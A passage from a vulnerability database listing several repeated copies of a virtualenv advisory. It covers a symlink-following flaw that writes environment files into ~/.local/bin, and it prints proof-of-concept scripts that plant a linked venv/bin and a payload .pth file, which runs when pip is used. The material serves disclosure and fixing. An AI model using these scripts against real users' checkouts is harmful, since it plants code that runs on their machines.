        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "nox",
            "purl": "pkg:brew/nox"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2020.12.31"
                },
                {
                  "fixed": "2022.8.7_1"
                },
                {
                  "introduced": "2023.4.22_1"
                },
                {
                  "fixed": "2026.10.20"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-nox-CVE-2026-113716",
      "modified": "2026-11-19T10:29:00Z",
      "published": "2026-10-22T10:41:11Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-PDM-CVE-2026-113716 (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 09:28 – Updated: 2026-11-19 09:17 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.5",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pdm",
            "purl": "pkg:brew/pdm"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.0.0"
                },
                {
                  "fixed": "2.9.3_2"
                },
                {
                  "introduced": "2.12.3"
                },
                {
                  "fixed": "2.29.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.5",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.5"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-pdm-CVE-2026-113716",
